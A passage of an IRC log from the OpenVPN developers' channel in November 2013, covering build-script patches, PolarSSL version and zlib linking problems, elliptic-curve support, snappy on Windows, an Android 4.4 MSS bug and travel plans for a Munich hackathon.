else is free to review that too, btw ;) 11:20 <@cron2> pekster: thanks for the reminderpoke :) 11:22 -!- raidz is now known as raidz_away 11:24 <@dazo> pekster: in worst case, I'll review it during the weekend ... as I'm the one who introduced that trouble :-P 11:27 <@ecrist> ping mattock 11:28 <@ecrist> when did you publish openvpn-install-2.3.2-I003-x86_64.exe? 11:28 <@pekster> I'm almost wondering if we should try to include test cases in ~openvpn/tests for some of this; is that used at all by central buildbots? 11:30 -!- raidz_away is now known as raidz 11:30 <@pekster> Hmm, though some of that is a little deeper down the autoconf hole than I'd prefer :P (gotta say, I do like what subversion did with their test suite) 11:57 <@cron2> dazo: now *that* is a word :-+2~)* 11:57 <@cron2> (and that was my cat interfering :) ) 11:58 <@dazo> heh 11:59 <@pekster> ecrist: According to the MS-Authenticode cross-signed timestamp, it was built/signed at Thursday, August 22, 2013 07:25:16 11:59 <@pekster> The publication date to the website could of course have been later 12:00 <@cron2> pekster: there is a tests framework which is used by the buildbots (actually running openvpn clients and pushing packets), it's not in the source repo as every bot needs it's own config (IP addresses are different, etc) 12:00 <@cron2> look at t_client.sh / t_client.rc 12:01 <@cron2> and I run sort of the server side of this on one of my VMs every night (git update, build, start a number of servers, run t_client on one of the reference clients, see if all tests pass) 12:04 <@pekster> 2001:dba::/64 eh? :P "Regional Internet Registry for the Asia-Pacific Region" 12:04 <@pekster> (no real problem, just amusing ;) 12:06 <@cron2> dba is not allocated right now 12:06 <@cron2> 2001:db*8*:: is the documentation prefix 12:06 <@pekster> Right. ULA would be my recommendation, but it's all local in scope anyway so it doesn't actually matter. Much ado about little 12:07 <@pekster> ULA is more or less the v6 version of RFC1918 12:08 <@cron2> I'm lacking context - what is this the answer to? 12:08 <@pekster> Not using IPs that aren't availble for use like that 12:08 <@cron2> oh, t_client.rc-sample 12:08 <@pekster> Technically it's a violatio to use that unless you are APNIC using AP allocated portable addresses 12:08 <@cron2> I see 12:08 <@pekster> Yea, sorry 12:09 <@cron2> yes, seems whoever wrote that example had too much alcoholic beverage beforehand 12:09 <@cron2> that *should* have read :db8: 12:09 <@cron2> gna 12:10 <@cron2> (I wrote that example, so I can say that) 12:10 <@pekster> heh, if it bugs me enough (perhaps after some of my own beverages) I'll offer a patch then; presumably local instances can then edit the documentation-sample to use ULA if it suits the admin 12:10 <@cron2> it needs to be :db8: in the example - for local use, use whatever you can - I run the test suite on one host with fdxx:: ula space, on another with fully routed global addresses (so I can ping remote hosts across the vpn for testing) 12:11 <@pekster> Right :) 12:12 <@pekster> Thanks for the references though. Some stuff like the chroot it would be ideal to have a test so regressions can be spotted quicker. More wishful-thinking-for-later at this point 12:13 <@cron2> true. It's just *hard* to do automated tests for some of that stuff... chroot should not be too hard to add to t_client, though, as stuff runs in a specific per-instance directory anyway 12:44 -!- mattock_afk is now known as mattock 14:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 14:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:34 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 245 seconds] 15:13 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 260 seconds] 15:27 -!- mattock is now known as mattock_afk 15:35 -!- dazo is now known as dazo_afk 16:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 16:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 16:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:51 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 16:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:03 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:03 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 20:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 22:05 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 22:05 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Tue Nov 12 2013 00:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 00:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:24 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 02:37 <@cron2> woah. Alon is back 02:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:56 <@mattock> cron2: where? ml? 02:57 <@cron2> yep, forwarding some EC patches from jjk 02:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:57 <@mattock> hopefully this does not end up in fight again 02:59 <@cron2> yeah. But I don't expect one, tbh, as this is not so religious :) 03:11 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:15 -!- dazo_afk is now known as dazo 03:23 <@dazo> I was actually pleased to see that mail, esp. because it is from Alon :) ... I think this round will be completely fine 03:24 <@dazo> maybe even JJK would like to work further on this patch during the weekend? ... the reason the patch lingered was due to lack of review and lack of testing 03:33 <@cron2> jjk is not coming, but maybe we can motivate him to tele-participate :-) 03:40 <@plaisthos> the second patch looks fine to me 03:40 <@plaisthos> I don't understand the first though 03:41 <@plaisthos> why is NID_secp224r1 hardcoded? 03:41 * cron2 doesn't understand anything, but has not worked with pkcs11 before 03:45 <@plaisthos> EVPKey instead of RSA is just the newer OpenSSL API as far as I understood OpenSSL 03:48 <@cron2> ic 04:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 04:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:06 <@dazo> :( ... pity, I thought JJK had signed up ... oh, well ... tele-participate sounds good ;-) 06:03 < syzzer> I'm playing with the patches right now, let's see if I can produce the PolarSSL-equivalent for them :) 06:03 < syzzer> need to figure out what exactly they do though 10:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:40 <@mattock> pekster: I'm testing the depcache-v2 patch 12:26 <@mattock> pekster: it seemed to work fine, no build errors and did not build the dependencies again when using --use-depcache 13:31 <@pekster> Fantastic, that's the goal :) 13:34 <@mattock> pekster: do you have / want write access to openvpn-build in github? 13:39 <@pekster> I don't yet (just the easy-rsa project) but I'm happy to get access to openvpn-build too 13:41 <@mattock> I'll grant you access right away, makes things easier for me too 13:41 <@pekster> Yup, I figured that was part of the motivation ;) 13:41 <@mattock> what's your github account name? 13:41 <@pekster> My github account is QueuingKoala 13:44 <@mattock> ok, you should have write access now 13:44 <@pekster> Great. If you were happy with the depcache patch I can push that up too, unless you wanted to play with it more first 13:46 <@mattock> it "seemed to work", and I suspect you've tested it yourself 13:46 <@mattock> so please push it 13:48 <@mattock> one thing 13:48 <@mattock> did you test that it works with the build-snapshot thingy? 13:48 <@mattock> if not, I can try it 13:48 <@mattock> not that I have used build-snapshot much, but better not have missing functionality if that can be avoided 13:49 <@pekster> Nope, not yet, but that's easy enough to add to the help output and drop into the build-complete invocation (build-snapshot seems to call build-complete) 13:50 <@pekster> I can send a v3 patch, or just a "fork" you can pull as a remote from my account; whatever's easier for ya 13:50 <@mattock> pull is fine 13:50 <@pekster> git is so flexible :P 13:50 <@mattock> yep, it's a really nice tool 13:51 <@mattock> much more difficult to break than SVN, where you could break it by just moving directories around a bit 13:51 <@mattock> besides it being fairly crappy in other ways too 13:51 <@mattock> I'll go now, getting late here 13:51 <@pekster> I got pretty good at svn at a past job where the developers would ask for all kinds of weird things and expect me to insert magic to make it do what they wanted :D 14:26 * cron2 deeply hates svn (and svn hates me) :-) 14:33 <@pekster> Depending on the workflow, svn can have some advantages, like easier ways to do "partial" read/write access a more defined server-side hook mechanism, but you're giving up workflow flexibility with svn 15:17 -!- dazo is now known as dazo_afk 15:39 -!- mattock is now known as mattock_afk 16:08 * plaisthos is on a mac 16:08 <@plaisthos> svn hates me even more 16:09 <@plaisthos> At least when there is an utf umlaut in *any* file 16:09 <@pekster> Can't say I've done much with UTF8 in file names at least in any VCS 16:33 <@plaisthos> just don't 16:33 <@plaisthos> svn expects filenames to be same as it writes them 16:33 <@plaisthos> if you have a filesystem which does normalising you are screwed 17:59 <@pekster> mattock_afk: Well, I have a "v3" version on a `depcache` branch that I forked here, but it won't work becuase build-snapshot is rather ugly. It's been broken ever since snappy support was added in due to the hard-coded defaults build-snapshot does (so it's got other major issues currently.) v3 on my branch here: https://github.com/QueuingKoala/openvpn-build.git 17:59 <@vpnHelper> Title: QueuingKoala/openvpn-build · GitHub (at github.com) 18:05 <@pekster> Hmm, that could just be becuase the snapshot thing ends up using that to prep a `make dist` as an "less painful" way to stage the entire thing, so it might work for you if you've got the libs that Windows won't need on your test box; it works for me if I comment out the ./compile and `make dist` lines (with the depcache feature) 18:06 <@pekster> Dunno what those are doing there anyway, but maybe I'll make that a patch for later to rip them out :P --- Day changed Wed Nov 13 2013 00:49 -!- mattock_afk is now known as mattock 01:31 <@mattock> pekster: it seems every single openvpn buildsystem (for windows) that I've seen has been ugly in it's own way 01:34 <@mattock> I did add (partial) snappy support to openvpn-build and still have it available in a local Git tree, but the dependencies it pulled in tripled the size of the openvpn installer 01:34 <@mattock> so the idea of providing windows installers with snappy was scrapped for the time being 01:36 <@mattock> and using static linking - especially without the depcache support - seemed somewhat challenging 01:42 <@pekster> Right, the ugly bit I mean was failing if a `./configure --disable-lzo` failed -- that's not even necessary since build-complete cross compiles 01:42 <@pekster> I guess the intent was to do early-fail before building openssl (and such) and _then_ failing if the git checkout was bad, but hopefully depcache fixes that delay ;) 02:05 <@mattock> ah 02:13 <@cron2> mattock, pekster: it certainly would be nice to test again if libstdc++ could be statically linked, to make snappy work... 02:14 <@mattock> agreed, although nobody has requested snappy support in the official windows installers afaik 02:14 <@mattock> I have a feeling adding statically linked parts could make the build scripts a bit messy 02:15 <@mattock> and in general, I'd like to avoid having to do the (nasty) work myself :P 02:15 <@cron2> you mean, spoiling the pure beauty that the build scripts are today? 02:16 <@mattock> that is correct :D 02:41 -!- dazo_afk is now known as dazo 06:04 < syzzer> WWed Nov 13 13:02:49 2013 us=40967 Control Channel: TLSv1.2, cipher TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384, 384 bit key 06:04 < syzzer> Wed Nov 13 13:02:49 2013 us=41016 [ec-test-server] Peer Connection Initiated with [AF_INET]127.0.0.1:16000 06:04 < syzzer> Wed Nov 13 13:02:50 2013 us=69335 Initialization Sequence Completed 06:04 < syzzer> \o/ 06:04 <@dazo> \o/ 06:04 < syzzer> for now only with polar though 06:04 <@dazo> syzzer++ 06:04 <@dazo> well, but that's a starter, right ;-) 06:04 < syzzer> exactly :) 06:05 <@dazo> syzzer: you're coming to Munich? 06:05 <@d12fk> that logline looks quite modern 06:06 <@d12fk> (not the one about AF_INET) =) 06:06 <@dazo> heh :) 06:06 < syzzer> dazo: yes, Friday to Sunday 06:06 <@dazo> syzzer: cool! maybe you can have a lightning talk for us about EC then ;-) ... I'm eager to learn a bit more about it 06:07 <@d12fk> there's nice into at ars electrica 06:07 <@d12fk> schneier blogged about it recently 06:07 <@dazo> hmmm ... need to dig up that! 06:07 <@d12fk> *intro 06:07 < syzzer> ^^ what d12fk says 06:08 < syzzer> I'm not too familiar with the maths behind EC either, just an engineer that uses the math ;) 06:09 <@dazo> well, that's what I'm thinking about ... how to generate EC enabled certificates, and DH params ... the code we can eventually read, but understanding how to use it helps understanding the code as well :) 06:12 < syzzer> ah, okay, that I can do 06:13 <@d12fk> http://arstechnica.com/security/2013/10/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/ 06:13 <@vpnHelper> Title: A (relatively easy to understand) primer on elliptic curve cryptography | Ars Technica (at arstechnica.com) 06:13 < syzzer> just figured out how to do that today 06:13 <@dazo> :) 06:13 <@dazo> d12fk: thx! 06:14 <@d12fk> confused the site with http://www.aec.at/ 06:14 <@vpnHelper> Title: Ars Electronica | News (at www.aec.at) 06:14 <@dazo> heh 06:14 <@d12fk> different thing, also interesting 06:30 <@d12fk> I'll show up around 1500 on friday. anything i have to know to get in? 06:30 <@d12fk> cron2: ^^ 07:04 <@cron2> d12fk: look at the google maps link I've linked in the wiki. There's a security desk at the entrance in the north west corner (I think it's "Haus 3", but I always get confused here). Tell them "I want to visit SpaceNet", they will call us (1st floor), someone will come down to fetch you. You'll have to deposit something at the guard (ID card, driver license, ...) 07:05 <@mattock> if we will then be scanned (eyes and fingerprints) it's almost like going to the U.S. :D 07:05 <@cron2> no scanning, no fingerprints :-) - the ID thing is really because we want visitors to check out when they are done (so we can be sure nobody is left in the building) 07:06 <@cron2> it's a datacenter, and sometimes people really stay for 10+ hours to fix their gear, and with the ID deposited at the guard, we know they are still there 07:06 <@cron2> (and they have an interest to retrieve it when they leave :) ) 07:06 <@mattock> yeah 07:07 <@cron2> I'll be there at about 09:30, and I think we'll just order Pizza for lunch on Friday, with whoever is already there :-) (so there won't be a time when nobody is there because all are out eating). But we'll decide that spontaneously, I think 07:09 <@d12fk> sounds good, doesn't look like i'll be able to work on the service before friday, but maybe we can get things done or close to that during the weekend 07:09 <@cron2> "Haus 4", actually :-) 07:10 <@cron2> but going by the google map and for the north-west corner (the entrance is on the inside of the # shaped building) is good enough 07:10 <@d12fk> tram from rail station is probably best as it looks 07:11 <@cron2> yep, takes a few minutes and stops very close - S-Bahn would work, but is some 10 minute walk 07:11 <@mattock> I'm taking the S-bahn, not that long a walk from there 07:11 <@mattock> S8 I believe is the most convenient one 07:18 <@cron2> mattock: where are you coming from? 07:19 <@mattock> from whatever airport the plane takes me to :) 07:19 <@cron2> (almost all S-Bahns should work, this is "Stammstrecke" = "all trains go there", except S27) 07:19 <@mattock> the plane will come from Riga, and I assume there aren't that many international airports in munich 07:19 <@cron2> mattock: ah, if you're coming directly from the airport, you want S-Bahn. S1 and S8 both work, one goes left one goes right in the circle 07:19 <@mattock> yep 07:20 <@cron2> and to that station (München/Hirschgarten or München/Donnersberger Brücke), both take about the same time 07:26 <@mattock> I'll probably check in to the motel first, which is fairly close to Space.net (the Munich-City-West or what was it) 07:27 <@mattock> I should be at space.net at around 13:00 07:27 < syzzer> ah, good to know, I'll be coming directly from the airport too I think. You guys are also staying at the Motel One City West, right? The site says "Reception open 24 hours", so I'd think checking later is fine too 07:41 <@mattock> syzzer: yep, I and James are in Motel One City West too 07:43 <@d12fk> syzzer: i think they hold your rom only if you provided credit card billing information 07:43 <@d12fk> mine will be gone possibly if i come after 1800 07:48 < syzzer> d12fk: okay, in that case I'll drop by the hotel first too 08:00 <@plaisthos> syzzer: Me too 08:00 <@plaisthos> I will arrive at 9:10 at Munich Aiport 08:02 < syzzer> My plane should land at 10:20 08:02 <@plaisthos> err 08:02 <@plaisthos> my calendar is confused with GMT vs CET 08:02 <@plaisthos> I will arrvie at 10:10 08:04 <@plaisthos> I will probably check in first too 08:04 < syzzer> ah, cool, shall we meet at the airport then? 08:04 <@plaisthos> since I need to check in until 18:00 08:04 <@plaisthos> syzzer: sound reasonable 08:05 <@plaisthos> I have no idea about the munich airport so I have no idea where a good meeting point is 08:05 <@plaisthos> syzzer: I send you my mobile phone number via /msg 08:05 < syzzer> directly when you're through customs should work out I think 08:07 <@plaisthos> good :) 08:08 <@plaisthos> syzzer: LH 2177 is my flight number 08:09 < syzzer> plaisthos: LH 2315 is mine 08:48 <@pekster> Re: snappy, does it really make sense to quadrupple the installer size just for snappy support under Windows? IIRC, someone noted the installer size went up from the current ~1.5M to 5M or something. Wasn't lz4 on the horizon eventually too? 08:54 <@plaisthos> pekster: someone needs to implement it on 2.3 08:55 <@pekster> Right, it as more a statement that if it's eventually on the horizon and users don't (currently anyway) have a need/demand for snappy, it seems a bit of a shame to add that many bytes to both the installer and installed copy without merit 08:56 <@pekster> If it's that in-demand, I suppose I'm for it :P 09:42 <@cron2> syzzer, plaisthos: if you're both on LH, you'll be in terminal 2 - "after customs" is indeed a good plan 09:43 <@cron2> pekster: as far as snappy goes: snappy is not big, but it needs libstdc++ - and if you ship libstdc++.dll, *that* is insanely huge, but linking the required bits from there (few) statically should work 09:59 <@pekster> Oh, gotcha 10:00 <@cron2> if this turns out to "just not work on mingw", I think we can live without snappy in the windows client :-) - but after the effort to get the code in, it would be nice to actually have it :-) 10:00 <@pekster> #include <windows-magic.h> 10:38 <@plaisthos> cron2: good to know 10:40 <@dazo> let's call "snappy" a premium feature. And if you want to use premium features, you need to use premium OSes, which, *naturally*, excludes Windows .... ;-) 10:41 <@pekster> You mean like chroot, or PAM, or... 10:41 <@dazo> of course! that's also premium features :) 10:41 <@plaisthos> or Android! 10:42 <@dazo> it supports snappy, doesn't it? ;-) 10:42 <@plaisthos> right 10:42 <@plaisthos> but it also ships with a ibstlport_shared.so 10:42 <@plaisthos> which is also needed for google-breakpad in openvpn 10:43 <@plaisthos> to get some stacktraces from users if the openvpn binary crashes 13:00 <@pekster> In light of bug #343 (polarssl 1.3 function not backwards-compat with 1.2) we might consider a max version cap too in the build script, at least if the upstream policy is to break backwards-compatability on point-releases 13:01 <@pekster> I'm not sure how easy the fix is given that we're looking to support GCM symmetric ciphers given the polarssl comments about the cipher_reset() function and it's change between 1.2 an 1.3 13:01 <@cron2> eek, what? 13:01 <@pekster> polarssl 1.3 chnaged the number of paramsm cipher_reset() takes and it's not backwards compat 13:02 <@pekster> Sorta crappy that this is upstream's policy :\ 13:02 <@cron2> so you got around your -lz woes, only to find it's not working anyway? 13:02 <@pekster> No, no, that's still a problem 13:02 <@pekster> This breaks _before_ the -lz stuff ;) 13:02 <@pekster> So 1.3.x has _two_ major build issues with openvpn.. 13:03 <@cron2> can we please apply gratious LART upstream? 13:04 <@pekster> fwiw, the 1.2.x is broken with ZLIB support too; gentoo users were unaffected becuase it wasn't supported as a build option in the ebuild file (distro's make wrapper basically) until 1.3.x 13:04 <@cron2> *sigh* 13:04 <@pekster> So yea, probably time to open some bug reports upstream, or at least the one about zlib (I ran into a wall -- no, adding -lz to polarssl's build doesn't help; it's already doing that and still not linked in `ldd` output.) 13:04 <@cron2> anyway, I think this can be handled by appropriate #ifdefs in the code, if we *want* to handle this 13:05 <@cron2> mmmh, that is weird (the -lz not doing anything) 13:05 <@pekster> Right, but I just wanted to point out that this bug gets tricky due to the GCM note in the polarssl reset_cipher() function noting that is MUST call another function for GCM ciphers. I know it doesn't yet, but that support is kind of in the pipeline IIRC 13:06 <@pekster> Then again, hopefully that's reviewed at least when we look at merging a GCM patch; just FYI 13:06 <@pekster> Also, if polarssl's policy is API breaking changes on point-releasees, we should try and be careful there too :\ 13:06 <@pekster> Dunno if this was an oversight, or if we need a POLARSSL_MAX_VER too 13:11 <@pekster> I had a link somewhere I'll see if I can dig up on some -Wl option to gcc that was required in cases where libfoo needs to link to libbaz where users of foo don't need to know that (this matches our situation here) but my hacking at the polarssl makefile with that option didn't do anything useful 13:12 <@pekster> Ah, here, see section 3.4 under "Here aer a few points worth noting" http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html 13:12 <@vpnHelper> Title: Shared Libraries (at tldp.org) 13:13 <@pekster> The -Wl,-export-dynamic was also a failure, and I verified the .o files are already using -lz 13:13 <@pekster> failure := build but no libz linkage 13:14 <@pekster> Dunno, at this point I think the polarssl folks really need to fix that, unless I've missed a basic element of how linking is supposed to work here 13:14 <@pekster> #ifdef won't really help because this is an optioal (and non-default I'll add) build option to polarssl 13:15 <@pekster> Maybe we could try adding -lz to the linker list if the conftest fails the first time? But that feels really hackish 13:20 <@pekster> (oh, you meant #ifdef for the function param 1.2 vs 1.3 issue. Yea, +1 if it's safe to use with GCM, or if that'll get reviewed later.) 14:31 -!- mattock is now known as mattock_afk 14:39 -!- dazo is now known as dazo_afk 15:28 < syzzer> On the polar 1.2 vs 1.3 issue: yes it's upstream policy to (possibly) break the API in major releases, so a MAX_POLAR_VERSION would actually make sense. The theory is that if you don't promise backward compatibility over major releases you get the ability to fix the API and stay 'lean and mean'. Basically the aim is to prevent ending up with a horrific API like OpenSSL does. It's like choosing between two different types of evil... 15:29 <@pekster> Yup, that's fine, but we should bomb out intentionally in the autoconf then on that 15:30 <@pekster> So long as it's defined. The tricky part will be dumb distros like gentoo that ripped out all 1.2.x versions (probably due to the CVE and not paying enough attention that >=1.2.9 fixes it) and thus breaking it wonderfuly. Oh, that and zlib enabled by default.. 15:30 <@pekster> But, that's downstream's problem :) 15:31 <@pekster> syzzer: Oh, did you catch that tldp link above? I still can't make polarssl's library show linkage to libz :\ 15:31 <@pekster> Here's the analysis I did for the downstream bugreport: https://bugs.gentoo.org/show_bug.cgi?id=488970#c6 15:31 <@vpnHelper> Title: Bug 488970 net-misc/openvpn-2.3.2 with net-libs/polarssl-1.3.0 - configure: error: ssl is required but missing (at bugs.gentoo.org) 15:32 < syzzer> pekster: not yet. I'll take a look in a minute. 15:34 <@pekster> Here's a re-paste of the shared-libs thing. I don't know if sec. 3.4, under "Here are a few points worth noting" (3rd bullet under that) applies, but even with -export-dynamic I couldn't get linking like I expected: http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html 15:34 <@vpnHelper> Title: Shared Libraries (at tldp.org) 15:34 <@pekster> I _think_ that "reverse dependancy" thing applies, but I'm nto sure 16:06 < syzzer> okay, I'm back behind my keyboard, let's see how confused I'll get from trying to understanding this ;) 16:07 <@pekster> Into the rabbit hole! 16:35 < syzzer> from what I can see in the Makefile from a git checkout, the -lz flag is missing during linking. It should probably be dynamically added when enabling ZLIB support in config.h somehow. Not sure how that should work though... 16:35 <@pekster> Well, right. How come libopenssl has a link to libz in the ldd output though? 16:36 <@pekster> And doesn't that bit about reverse deps in the tldp seem to apply? 16:36 <@pekster> It's really not oepnvpn's fault to know "how libfoo was compiled" and "add in missing linker flags" -- if every project did that it would be a mess 16:36 <@pekster> Then again, maybe I'm missing something here 16:36 < syzzer> you could probably solve it with reverse deps, but I don't think it's the right way to fix it 16:37 < syzzer> from what I understand, polar should just link with libz if it is using libz 16:37 <@pekster> Right :) 16:38 <@pekster> That's where I got stuck though, since as I see, the -lz is being passed to gcc during polarssl's compile. But I'm a little unfamiliar with exactly what needs to happen to get that linking to show up in the built library 16:39 < syzzer> but that's what I can see from the git-clone supplied Makefile, when I run a 'cmake .' I don't get what's going on anymare 16:43 < syzzer> the -lz should also be passed when linking 16:47 <@pekster> So, some new #ifdef in library/Makefile to add it to LDFLAGS when ZLIB is present? 16:47 < syzzer> yeah, I think so 16:48 <@pekster> I'm not all that familiar with what causes the #ifdef to get processed, since I didn't have luck with `#ifdef POLARSSL_ZLIB_SUPPORT` 16:48 < syzzer> I don't think the Makefile is aware of anything going on in config.h 16:49 < syzzer> which probably means some magic needs to happen in the cmake stuff 16:49 <@pekster> Well, the only other place the text SHARED appears outside of an ifdef/ifndef in library/CMakeLists.txt:78, and I'm not sure exactly what add_library() does 16:49 <@pekster> I'm using that as an example since it _does_ have an #ifdef in library/Makefile 16:50 < syzzer> which library/Makefile are you looking at? The one in the git tree, or a cmake-generated one? 16:50 <@pekster> For fun, let me just hack a quick fix that blindly adds LDFLAGS += -lz 16:50 <@pekster> git defult branch 'development' 16:51 < syzzer> yeah, for that Makefile I would expect that to work. was about to try it 16:54 < syzzer> btw, the add_library(polarssl SHARED ${src}) means 'build a library called polarssl from file ${src}', it seams that line 83 specifies that the created library should be linked against the libs in ${libs} 16:59 <@pekster> Same issue doing that 17:00 < syzzer> well, then I do not understand it yet :p 17:00 <@pekster> If it helps, here's the linker line from the build output: http://pastebin.kde.org/p0pac2jtn 17:00 <@pekster> Now with -lz 17:01 <@pekster> First 4 options are from my CFLAGS, everything else should be the build settings 17:08 < syzzer> but that does not help with linking polarssl itself against libz? 17:08 <@pekster> Nope, still no libz output in `ldd /usr/lib/libpolarssl.so` and that conftest.c fails without explcit linking 17:10 <@pekster> Just for fun I added -Wl,-export-dynamic too (pretty sure I tried that before in LDFLAGS too) with no change beyond the command line getting updated 17:38 < syzzer> clear 17:38 < syzzer> meh, alt-tabbed to early 17:46 < syzzer> Hmm, I'm calling it a day, it's getting late here. Fiddled around a bit with cmake, but didn't help. But there is a simple way to reproduce it with just polarssl's own codebase: 17:46 < syzzer> http://pastebin.kde.org/pqnrfbmqp 18:01 <@pekster> Ah, well, thanks for taking a look anyway. 'tis a start 21:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Thu Nov 14 2013 00:28 -!- Netsplit *.net <-> *.split quits: @mattock_afk 02:40 <@plaisthos> more fun with Android 4.4 02:40 <@plaisthos> http://code.google.com/p/android/issues/detail?id=61948 02:40 <@vpnHelper> Title: Issue 61948 - android - Android 4.4: TCP advertises incorrect MSS over VPN (using VpnService) - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 02:41 <@plaisthos> tl;dr is android 4.4 ignores mtu from tun0 and sends packets to the VPN with MSS of the wlan/mobile interface 02:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:44 -!- ServerMode/#openvpn-devel [+o mattock] by holmes.freenode.net 02:55 <@cron2> plaisthos: meh 03:17 <@plaisthos> cron2: iirc openvpn in default sets the mtu to 1500 and is not affected in this case 03:18 <@cron2> yeah, mtu handling across all the platforms is (IIRC) pretty much "not done", instead openvpn does fragmentation/mss-fixing inside 03:32 < waldner> for tcp, openvpn does mss-fix, for UDP nothing is done AFAICT 03:34 <@cron2> there's internal fragmentation (though I have no idea whether that actually works and if yes, how)... 03:34 <@cron2> that code is all magic 03:38 < waldner> ah yes, --fragment, but it's not on by default (unlike mss-fix) 03:50 <@plaisthos> mss-fix is on by default? 03:52 < waldner> yes, to 1450 04:18 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:18 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:19 <@dazo> plaisthos: hey! got a few seconds to help out with a tunnelblick setup? 04:23 <@cron2> dazo: should be straightforward, iirc... just import an .ovpn config file. And click in the tunnelblick settings on "use 2.3" (it ships with a 2.2 and a 2.3 openvpn binary) 04:24 <@dazo> well ... I got an odd error ""Line 1 of the file contains a non-printable character (0xFFFFFF82) which is not allowed" 04:25 -!- novaflash is now known as novaflash_away 04:31 <@dazo> I may have managed it ... by using inline certificate and key files 04:54 <@dazo> okay, it seems to work! 05:13 <@plaisthos> dazo: sure ... 05:13 <@plaisthos> dazo: If I can help 05:13 <@plaisthos> ofcourse 05:18 -!- dazo is now known as dazo_afk 05:38 -!- novaflash_away is now known as novaflash 05:57 < syzzer> pekster: I've got a patch that fixes the issue with zlib from polarssl's cmake 05:59 < syzzer> apparently what I needed was a good night sleep. I'll send you the patch to verify it solves the issue for you too 06:01 <@vpnHelper> RSS Update - tickets: #344: init-script only starts the first interface on restart <https://community.openvpn.net/openvpn/ticket/344> 06:17 <@cron2> syzzer: how so? 06:18 < syzzer> at link time, the dependency would not be added to libpolarssl.so because cmake was not told to do so 06:19 < syzzer> and, the reason why I needed the good night sleep, you should tell cmake you want it to use zlib, otherwise it won't do it, of course... 06:20 <@cron2> I thought pekster tried that ("just add -lz"). Ist that what is needed? Or is the magic incantation different? 06:21 < syzzer> it's about the -lz, but I believe it order of the parameters is also of importance. The trick here is to let cmake handle it, then it worked. So, the bottom line is that I still do not fully grasp why just adding -lz would not work, but using cmake seems to work... 07:58 <@pekster> syzzer: Hmm, give me a bit on that this morning; gentoo is using a distro-centric wrapper for `make`, which of course that fix won't apply to. Since the readme is pretty clear cmake is the 'most supported' option, I'm going to see if I can get downstream in sync with that 08:00 <@pekster> From what I've seen so far, I'm not impressed with the maintainer of this package :\ 08:00 <@pekster> (not you, the ebuild maintainer on gentoo's side) 08:03 < syzzer> pekster: yes, from what I see if someone wants 'anything different from packaged defaults', he should use the cmake build system 08:04 * cron2 is unsure what he dislikes more, configure or cmake 08:04 <@cron2> my FreeBSD systems build new versions of cmake all the time when I just want to install a port... 08:04 <@pekster> Well, currently (as of the 1.3.0 version) the zlib support (which is distro-enabled by default here, regardless of polarssl's default of off) and it just de-comments that line in include/polarssl/config.h 08:04 <@cron2> and cmake takes ages to build... 08:05 <@cron2> but that's unrelated rambling 08:05 <@pekster> Thus the issue with 1.3, even though I can "back-port" the (broken) feature to 1.2 as wel 08:05 <@cron2> but yeah, gentoo should fix that 08:05 <@pekster> But of course the 